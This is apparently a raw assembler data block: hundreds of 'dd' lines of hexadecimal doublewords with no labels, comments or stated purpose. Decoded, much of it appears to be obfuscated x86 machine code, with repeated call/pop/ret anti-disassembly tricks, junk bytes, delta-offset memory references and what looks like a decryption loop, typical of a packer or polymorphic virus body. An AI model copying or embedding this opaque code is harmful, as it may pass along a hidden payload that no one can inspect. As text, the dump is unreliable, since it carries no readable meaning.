		dd 30011164h, 0E9831104h, 0EBE77504h, 60C08B00h, 161D9D29h
		dd 8B520644h, 44191585h, 6A615E06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 3772C352h
		dd 0F4659D11h, 0BD83500Fh, 6441071h, 3C850F03h,	8B000004h
		dd 44097DBDh, 60BD8306h, 647B7h, 429840Fh, 0B5FF0000h
		dd 647B760h, 13E9h, 0E7C8A600h,	0A6D9C003h, 31F21421h
		dd 9A29E047h, 0AFC95086h, 69995FFh, 6A0644h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 872B7BC3h
		dd 0AE45CA13h, 0BD032C0Ah, 6441A35h, 0B754B58Bh, 6A0647h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0DF96A9C3h, 9D8B52D2h, 6441E7Dh, 106C75Bh, 0F000100h
		dd 5050D9B7h, 13E85052h, 0CF000000h, 41B74BD0h,	0B863CCA8h
		dd 8D923594h, 91851442h, 5F5FE4EDh, 0DE8B310Fh,	3489585Ah
		dd 16860F24h, 0E9000000h, 11h, 0DE4D1EA6h, 16B3D917h, 715D6D23h
		dd 17A04D00h, 0FF27B3BBh, 47B760B5h, 2B606006h,	440ACD9Dh
		dd 3D858906h, 61064417h, 0BE9h,	24832C00h, 1D9DF9EDh, 8DCD04C8h
		dd 195FF61h, 8906441Eh,	44204195h, 54B58B06h, 6A0647B7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 279BC353h, 0CB144866h, 1D119D8Bh,	858B0644h
		dd 6442E71h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	71C35747h, 85FC603Dh, 7453CAC9h, 11E8h,	0AD29B00h
		dd 7EFEEE58h, 0DB73738h, 8CC25F64h, 9D8BDC1Ah, 6441A55h
		dd 0C486895Fh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h
		dd 43000000h, 0B8BDC353h, 958BC65Eh, 6442F5Dh, 8BDABF0Fh
		dd 4C283F9h, 26318D29h,	50890644h, 199D8B20h, 8D064430h
		dd 47CAA085h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 6CAD7160h, 660EB058h, 89DCFEBFh
		dd 0B886h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 5E8E7h, 0CEDB0000h, 0E943C9CCh, 13h
		dd 0C837B3A8h, 0DB36965Eh, 93804E94h, 57B7B163h, 5F3A7EF0h
		dd 0EF81006Ah, 6A529483h, 0B760B5FFh, 6A0647h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 422A50C3h, 1EF7535Bh, 0BBB9ADECh, 27F0040Ah,	296D95FFh
		dd 6A0644h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0E6CDFFC3h, 66102624h, 8166F88Bh,	965D68EBh
		dd 8DFA4ABFh, 6A96501Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0D7A6C356h,	0BAE3F8E7h
		dd 0B5FFFB8Bh, 647B760h, 880FA3B3h, 6, 30759589h, 95FF0644h
		dd 64417D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0B2C35545h, 872F2DA4h, 838B68E7h, 4414B5BDh, 840F0006h
		dd 49h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
		dd 34C35343h, 0C1BF5096h, 967DABF3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 7CC35343h, 51D0956Fh, 0CEEC3169h
		dd 60B5FF9Fh, 6A0647B7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 3FAEC355h, 7D95FFB8h
		dd 0E806442Eh, 5, 0D0A74EC5h, 0FF5BF5D3h, 47B760B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 95FF2C33h, 6441441h,	2F399D8Bh, 0BD830644h, 6440A85h
		dd 3E840F02h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0E13AC355h,	0FB20231Bh
		dd 31919D2Bh, 85090644h, 6442589h, 1591858Bh, 9D8B0644h
		dd 6441509h, 8A0000C6h,	5985C7DCh, 64417h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0EBCCC355h, 5AF72F5Dh, 662E29ECh, 0E9CA46BFh, 0FFFFF342h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 23C35343h
		dd 78D0Fh, 66570000h, 0E4EDCB81h, 6AC18B5Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0C7B2C357h, 0A362D159h, 0F5BC68Fh, 858DF9B7h, 6441BE1h
		dd 90DE8B66h, 0E8605250h, 0Ah, 45E57DE5h, 0FDDA093Fh, 0B55E59C6h
		dd 310F6126h, 7E850h, 9750000h,	0C671EB10h, 5A5B5BC5h
		dd 0FE8B5058h, 12E990h,	16030000h, 0FB8B0C73h, 0C246E524h
		dd 0C33FBFADh, 8DB49C66h, 8166006Ah, 6AD88ADBh,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 5ABC386Dh, 858DFC83h, 648763Bh, 5C083F9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 62C35545h, 8E87Bh
		dd 6E7B0000h, 0DF2FF589h, 9E85475h, 9C000000h, 60D1922h
		dd 0D0336993h, 5B5FE8B3h, 890F50F5h, 0Eh, 8B0F5250h, 0
		dd 6160310Fh, 489585Ah,	0CE824h, 0E5FE0000h, 0DDA9AA98h
		dd 8D73EDA6h, 0BF66CC79h, 6A5B3371h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0AB63ED96h
		dd 12E9F860h, 0CD000000h, 3E6BDD0Ch, 3F560EABh,	675A6850h
		dd 8CD25DD4h, 0B753618Ah, 6A5B79h, 9AC38166h, 2595FFE5h
		dd 31064418h, 4433C585h, 6800F06h, 33000000h, 441AD1BDh
		dd 978D8D06h, 0E906479Ah, 13h, 729F2589h, 0E514E2ABh, 0E4703FB6h
		dd 0A2D8C542h, 0FF611DCCh, 1840FD1h, 0F8000000h, 2F11BD83h
		dd 0F010644h, 6C85h, 0DE800h, 516A0000h, 0FB4F9DE3h, 0B3802EE8h
		dd 0FA3DAAFh, 0A8Bh, 5E900h, 0F79F0000h, 5FCCE34Ah, 0FB5BD8Bh
		dd 26A0644h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0B7C35141h, 437ACF81h, 66502609h, 89BAA8BBh, 8E0F2404h
		dd 6, 30B9BD09h, 95FF0644h, 644296Dh, 1EDB8166h, 0D4FE93Ch
		dd 0E80000h, 5D000000h,	7645ED81h, 0BB660648h, 9501894Bh
		dd 6442535h, 8B58858Dh,	6A0647h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0A56B12C3h, 2D0F671Bh
		dd 33959D89h, 0E9500644h, 10h, 95080E85h, 2A3B8743h, 0C923921Bh
		dd 0D8CF4608h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0BCC4C352h,	630E6EA6h
		dd 56B21A42h, 85C5BB66h, 35FF645Fh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F8C35646h
		dd 115ABAD0h, 258964h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A6C1C351h
		dd 0E0DB6259h, 0FFF88B7Dh, 4408E985h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 37716A58h, 894733C6h, 441DC9B5h, 6AC6B706h, 0AD9D8BFFh
		dd 0FF064407h, 4408DDB5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 883E769Bh
		dd 0E1B4A0F4h, 11E90Dh,	9AD0000h, 992E7378h, 492FCFF3h
		dd 0AC3008C3h, 188B654h, 44150985h, 8195FF06h, 0E9064422h
		dd 12Ch, 0B0DA8Bh, 0F70E6F8h, 0BD8BDAB7h, 64424ADh, 8A0F71E4h
		dd 0Bh,	5890Fh,	81660000h, 3C003AE7h, 1830F61h,	0F000001h
		dd 687h, 759D8B00h, 8906440Ah, 44181585h, 0C8B60F06h, 341BF50h
		dd 0BA5F3B98h, 6, 0A9DF8166h, 66C18B7Ah, 0F6ACF381h, 0BB04E8C1h
		dd 101E0577h, 60E2F766h, 25DA09B8h, 0E981667Eh,	2B61EA1Eh
		dd 81BD89C8h, 8B064407h, 0E9F98BD1h, 6,	23AD9D0Bh, 858B0644h
		dd 64408A9h, 0A9F9C781h, 0C0837882h, 0C19D8B07h, 8306441Ch
		dd 896000C0h, 440D199Dh, 10E86006h, 18000000h, 13E8A65Eh
		dd 8F1AF1F5h, 0FB8506D7h, 5BBB096Eh, 0BD9BD0Bh,	61610644h
		dd 830FD03Bh, 11h, 1A218D89h, 55E90644h, 8B000000h, 442BB19Dh
		dd 0C18D8B06h, 0F064428h, 168Ch, 11E900h, 562B0000h, 5F3EB7D2h
		dd 0B5B9AFCh, 5B981C6Bh, 8313BFB1h, 840F01E1h, 24h, 0CB92CF81h
		dd 0A5837E3Fh, 64428C1h, 19BD89FEh, 89064416h, 4408A995h
		dd 55BD8B06h, 0E906442Ah, 0
		dd 0FFD2B58Dh, 6A0647h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 6AE0C3h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 80C35646h, 716A58D6h, 0FFD88B37h
		dd 441C4D95h, 5FF95306h, 76FB9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5E444AAEh
		dd 0B42AEA3Ah, 29C58D09h, 0B600644h, 4417F9B5h,	99B58B06h
		dd 61064424h, 0FFCE183h, 284h, 0FCBAB300h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 6DC35040h, 53D14DBFh
		dd 0B867h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0A2BB90C3h, 0BA389Dh, 8B000000h
		dd 0C233ADFEh, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 6FD868EEh, 0F6816051h, 7722EB09h, 890F60h, 0F000000h
		dd 6161C7BFh, 6820Fh, 9D8B0000h, 6442249h, 880Dh, 0FEB70F00h
		dd 2F5D958Bh, 8B660644h, 798D8BDEh, 6A064406h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 4EFEC350h, 8E9CAh, 8840000h,	5E7F353Bh, 8B509E83h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 820FF88Bh, 21h, 14E960h
		dd 7E510000h, 7BC129A9h, 6BAE54A4h, 65897E31h, 0E544438h
		dd 9529A069h, 64407D5h,	0ADBD8361h, 6442Ch, 77840Fh, 81660000h
		dd 0B8C47CC7h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9FC35747h
		dd 7E340857h, 0A3E81696h, 4E558D8Dh, 0DE80644h,	91000000h
		dd 7CE175DAh, 6B5652C5h, 1F769AB9h, 5B0C781h, 0FF5F348Eh
		dd 55006AE1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0F2A8D791h, 1EBCDC7Dh, 0ACDF8166h, 71BD8366h
		dd 64410h, 39A840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 2360D7C3h, 4418F99Dh
		dd 71BD8306h, 1064410h,	385840Fh, 85310000h, 64425F9h
		dd 83D9B70Fh, 441071BDh, 860F0306h, 339h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 38C35646h, 98DD53A9h
		dd 4D9D8B60h, 6606441Fh, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 80E3CFC3h, 13E904E1h
		dd 17000000h, 72591679h, 0B6D1C595h, 58401E43h,	2D1D6024h
		dd 0C90A7F4Eh, 0D2840Fh, 0D7810000h, 6A983259h,	8E9h, 7258100h
		dd 536E654Fh, 0D5858B18h, 0F06440Ah, 682h, 0D19D8B00h
		dd 3306440Ch, 4403BD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0D7BB03D0h, 6833E1A2h
		dd 6880Fh, 8D290000h, 6442645h,	24048950h, 6AFA8Bh, 0DE8B6651h
		dd 2AE9685Bh, 50BF1C1Eh, 8154463Eh, 29162434h, 6A1C01h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 95FF98C3h, 6440081h,	13E8h, 8EF14100h, 84C89D32h, 0FD33E4FFh
		dd 0E161465h, 203A4CDBh, 0F1B58960h, 51064419h,	895B615Fh
		dd 47B76085h, 7BBB6606h, 19BE915h, 85890000h, 6442AA5h
		dd 0B758858Bh, 10E90647h, 5F000000h, 0A9CF9D63h, 504390C8h
		dd 0D368DFECh, 8BAC8EA3h, 442E8D9Dh, 1800C706h,	66000000h
		dd 840FF98Bh, 2, 0B58BDA8Bh, 647B75Ch, 0AE9h, 90EF3A00h
		dd 0E384ACC0h, 8B81E2E6h, 44300D85h, 198D2906h,	89064424h
		dd 0EE906h, 0B450000h, 578E3C2Dh, 443E9A71h, 58FDCC82h
		dd 4AE797BBh, 0D5858B1Bh, 6A06440Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1067C355h
		dd 15BD8BD9h, 8906441Ch, 6A0446h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 95B527C3h, 0D830Fh, 0E9500000h
		dd 6, 410A759Dh, 805F0B05h, 0E8509DD7h,	0Bh, 0B0EED2B7h
		dd 20D48C44h, 566A1082h, 11E8h,	0AACCA100h, 0BF8502F5h
		dd 6642F787h, 0F9DDFAFDh, 5F5FF22Dh, 2434895Fh,	0B758B5FFh
		dd 6A0647h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F509D5C3h, 11A16B68h, 8B0F56h, 81000000h
		dd 0A2942434h, 858D560Eh, 647B760h, 5E8h, 0E36A9200h, 5FFC99ACh
		dd 0EC78166h, 505150D4h, 0DE852h, 0FC4E0000h, 2362517Bh
		dd 0AC1E37D9h, 5BFF8A4Ah, 8B66310Fh, 5F585ADAh,	80240489h
		dd 95FF9FE7h, 6440081h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 7EC35141h, 0A3BC6FCDh, 0BD296101h, 64409A5h
		dd 3F3FD781h, 85C74756h, 6441071h, 3, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 83C35646h, 63DFAD62h, 83DFB70Fh
		dd 47B760BDh, 840F0006h, 21h, 3011BD8Bh, 31E90644h, 66000000h
		dd 0E907E1BFh, 0Dh, 0A136EC59h,	0DCF75116h, 0A6D6963Eh
		dd 0C305090h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	77C35545h, 11E949h, 0EF3C0000h,	29E9C702h, 0FAA90101h
		dd 0BFFCF2A1h, 312026B4h, 441FC18Dh, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0DB65AADCh
		dd 0BD839DFDh, 6441071h, 0D850F03h, 83000004h, 47B760BDh
		dd 840F0006h, 400h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0F7C35040h, 8BE18A6Ch, 0D88B667Eh, 0B760B5FFh
		dd 6A0647h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 698B8AC3h, 8B6672FBh, 95FFF8DEh, 6440699h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B1C35141h
		dd 0B01536Dh, 0FDF22889h, 0B1BD8BEEh, 8B064417h, 441C25BDh
		dd 2DBF6606h, 54B58B2Fh, 510647B7h, 106C75Fh, 66000100h
		dd 9630A2BBh, 0F143CFBFh, 4FBF5072h, 960EE189h,	28498589h
		dd 0B5FF0644h, 647B760h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 0F8C35040h, 0FF7D07B3h, 441E0195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 22924844h, 0A275257Fh, 0BD8B60C7h, 64410A1h,	31B5B589h
		dd 8B610644h, 47B754B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 7CDE908Dh, 0C98D8938h
		dd 8B06442Bh, 442E7185h, 89F98B06h, 0C486h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0CF78F528h, 0F7BB665Ah, 7E9D7h, 45E20000h, 0A33CB076h
		dd 5D958B81h, 8B06442Fh, 44224D9Dh, 4C28306h, 2EA9B589h
		dd 9D8B0644h, 64408A1h,	6A205089h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0B0D3C353h
		dd 6F29DFB3h, 0CAA0858Dh, 9D8B0647h, 64420A1h, 0B88689h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0E5FC40C3h, 68AA81EEh, 15518D89h,	0B5890644h
		dd 6441039h, 9D8B006Ah,	6441405h, 1EA9BD8Bh, 0B5FF0644h
		dd 647B760h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	69C35747h, 7ED78166h, 0FE90Eh, 46CA0000h, 7DB9779h
		dd 0CDC0F715h, 0BDFDBB11h, 6D95FFA6h, 6A064429h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 50F2C353h, 8B665152h, 895B5BF8h, 6A2434h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 6CA74AC3h
		dd 0D781661Ah, 0B5FFC67Fh, 647B760h, 5F5F5751h,	17D995FFh
		dd 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0E96024C3h, 0Bh, 7C3611CEh, 3F71ED0h, 89A52C50h
		dd 4409599Dh, 0BD836106h, 64414B5h, 36840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 7D7FC351h, 0DB816687h, 0F960A05h,	686h, 0F525000h
		dd 50585A31h, 0B7965B57h, 60B5FF12h, 890647B7h,	4422258Dh
		dd 7D95FF06h, 0FF06442Eh, 47B760B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0D0DAAA8Bh, 6344252Ch, 19859D8Bh
		dd 95FF0644h, 6441441h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0E0C35040h, 53678D6h,	0E5BD03FCh, 83064428h
		dd 440A85BDh, 840F0206h, 53h, 29258D29h, 858B0644h, 6441591h
		dd 10E8h, 37539B00h, 4023FB68h,	8E1285F7h, 86E67FCDh, 0B70F6014h
		dd 25B966D1h, 8A5F61B8h, 0C6DCh, 10E960h, 0C0370000h, 5F0C470Dh
		dd 378BC87Ah, 0A74EC530h, 8E0FD3D0h, 6,	0A558503h, 0C7610644h
		dd 44175985h, 6, 7E800h, 9A820000h, 4357C021h, 5D9D8B49h
		dd 5F06442Ch, 0FFF3F2E9h, 56006AFFh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 423FB884h
		dd 0A3F7BEDEh, 0E8C18BFCh, 6, 0E9775B26h, 0BD89D1F9h, 6440A71h
		dd 0E1858D5Fh, 0F06441Bh, 5090DEBFh, 14E8h, 8C946100h
		dd 47AC1104h, 0E2E1E335h, 6853BEA2h, 5A2A1807h,	0EE821h
		dd 0F5490000h, 5FFFE5EFh, 15EFA5B7h, 7254988Fh,	5F5F35B7h
		dd 0F60F990h, 689h, 25850900h, 0F064429h, 68Fh,	840F00h
		dd 61000000h, 0BD8B006Ah, 6442925h, 0F781006Ah,	25AC9543h
		dd 8532858Dh, 0AE90648h, 0AB000000h, 436DA10Fh,	0BFA7731Fh
		dd 5C08349h, 0ADB58960h, 0E9064402h, 7,	7A6978EFh, 61E81FB2h
		dd 0AE990h, 95E0000h, 0A197CFCBh, 31A6A9A5h, 90CFB750h
		dd 10B1BD89h, 6A0644h, 38E0Fh, 0BF0F0000h, 80006AF8h, 95FF87EBh
		dd 6441825h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	14C35242h, 124D8AB0h, 66959886h, 8B5AFABFh, 978D8DDAh
		dd 6A06479Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 97AFC357h, 41E5B181h, 89916B4Eh
		dd 4424E195h, 89D1FF06h, 442A6D85h, 11BD8306h, 106442Fh
		dd 72850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 140424h, 50400000h, 0BD8B6EC3h, 6441B0Dh, 2F51B509h
		dd 0B5290644h, 6441625h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 87F9D7C3h, 50F529C1h
		dd 489ABB3h, 0CF816624h, 95FF9009h, 644296Dh, 7E8h, 264FF200h
		dd 881C7B99h, 5FDBBF0Fh, 0F0BE9h, 0E800h, 815D0000h, 48853CEDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 93B41A74h, 6A5C57h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0C0C0D4C3h, 8DF565FCh
		dd 478B5885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 658328Bh,	0BD8B37F0h, 64417ADh, 11E850h
		dd 63AE0000h, 108AF5A2h, 0BF78C522h, 0AB2DE850h, 5B902D97h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 5920C352h, 990DAA14h, 0FF644A90h
		dd 35h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh,	24448104h
		dd 1C04h, 0C3534300h, 0BF1A0160h, 84564582h, 820F607Dh
		dd 2, 9589DE8Bh, 64410ADh, 25896461h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0E8C35141h
		dd 85FF5CFDh, 64408E9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 20C35141h, 11E9h, 0CADD6500h,	6FC5F36Fh
		dd 8FDB9FC4h, 0EBF6E08Eh, 0BD8B752Fh, 6441D39h,	0FFF9FF6Ah
		dd 440D55B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0D874A1A4h, 0A9E7815Bh, 0FF593C78h
		dd 44228195h, 12AE906h,	0BD8B0000h, 6440E29h, 1094BF66h
		dd 9E900B0h, 74000000h,	0B460853Dh, 0EDF65A21h,	71E470E6h
		dd 14E9h, 80AFF900h, 0D15F096Ah, 0ADC59948h, 0C32B5778h
		dd 2942A032h, 0F613CD4h, 0EB83h, 0AE900h, 29860000h, 0AC62D0F0h
		dd 415853AEh, 0BBC8B60Fh, 79FC8B6Bh, 2441BD29h,	6BA0644h
		dd 8B000000h, 10E9D9h, 0E9630000h, 0B1AE7ABDh, 7C7C8214h
		dd 41726D56h, 0C18B0EDDh, 6604E8C1h, 0BD8BE2F7h, 6443141h
		dd 8B66C82Bh, 3D18BDAh,	4406CDBDh, 6E906h, 9D8B0000h, 6441619h
		dd 208D858Bh, 14E90644h, 0F3000000h, 38A10075h,	4645F240h
		dd 5E263AA2h, 0E598B664h, 83B4D0B2h, 850107C0h,	6441A6Dh
		dd 3100C083h, 443011BDh, 3BD88B06h, 1B830FD0h, 89000000h
		dd 44001D85h, 9E95106h,	3A000000h, 77858A78h, 7BEF2BE3h
		dd 36E95Bh, 8D8B0000h, 64433D1h, 0E183D98Bh, 25840F01h
		dd 56000000h, 835FFE8Bh, 4433D1A5h, 0BB66FE06h,	15BB2F9Bh
		dd 8918EE8Fh, 44208D95h, 0AD8D8906h, 0E906441Dh, 0
		dd 8ADB58Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 36FD0AC3h, 1535570h, 4402C5BDh
		dd 0E8006A06h, 0Ah, 14A87921h, 0DAED976Bh, 0BD89D8D9h
		dd 6441E25h, 4D95FF5Bh,	6A06441Ch, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0F3E5C353h
		dd 28B0C25Bh, 69D76843h, 0E377BF66h, 6758D31h, 75B90644h
		dd 8B000008h, 442149BDh, 0FCE18306h, 0BE9h, 1A48BC00h
		dd 0FF1E4820h, 0E42A3A9Eh, 919D0BFCh, 0B8064400h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0E3C35040h
		dd 97E67E04h, 0BF660EBEh, 0D22B84C0h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 6FC35040h, 8BD87DD6h, 0C233ADD9h
		dd 0D003E8D1h, 7504E983h, 5E9FCF4h, 18000000h, 4C34E69Dh
		dd 880DFB8Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 9FE7C356h, 23384FC4h
		dd 440919BDh, 5D958B06h, 6A06442Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3764C357h
		dd 84BF6943h, 0E80E5B96h, 10h, 904F8C2Dh, 0F69FC960h, 0B39CF318h
		dd 0C082F08Bh, 2E2D9D8Bh, 8B5F0644h, 4406798Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 7851D166h, 8B50F5EBh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	0DDC35545h, 1DE6FBFh, 0EF7AE4E8h, 9531FC8Ah, 6442F91h
		dd 1FB99D8Bh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0D690B5C3h, 0C27463E8h, 0F0EF8166h
		dd 0BD83F9F7h, 6442CADh, 75840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 4079C350h, 55699DEDh, 0B70F2502h, 29B589FBh,	0B8064419h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 51C35242h
		dd 4029A2Dh, 1561BD8Bh,	8D8D0644h, 6444E55h, 0FE9h, 0A2203400h
		dd 78917644h, 4A2930ABh, 0BF506CE5h, 0DC8AE1FFh, 1071BD83h
		dd 0F000644h, 48184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 14745DEEh, 30996D47h
		dd 0D8D8BB66h, 1071BD83h, 0F010644h, 46884h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 119D0B8Dh, 83064432h, 441071BDh, 860F0306h, 403h, 60DE8B66h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5BC35747h
		dd 0C9613A6Fh, 0BD89840Eh, 6441901h, 6AD98C66h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0C389C357h, 4F17BBC8h, 9D890C63h, 6441ECDh, 8B04E180h
		dd 441EBDBDh, 0FC90A06h, 17284h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 13E85BD0h
		dd 0FF000000h, 0CEB1DFEh, 0D2B14483h, 974C2658h, 8B448DD4h
		dd 0E95074D3h, 0Ch, 4EFD9285h, 94028A0Fh, 0C1364C97h, 858B5F5Fh
		dd 6440AD5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	23C35747h, 0DD6DA388h, 4C964442h, 0DBBF0FE7h, 3BD8533h
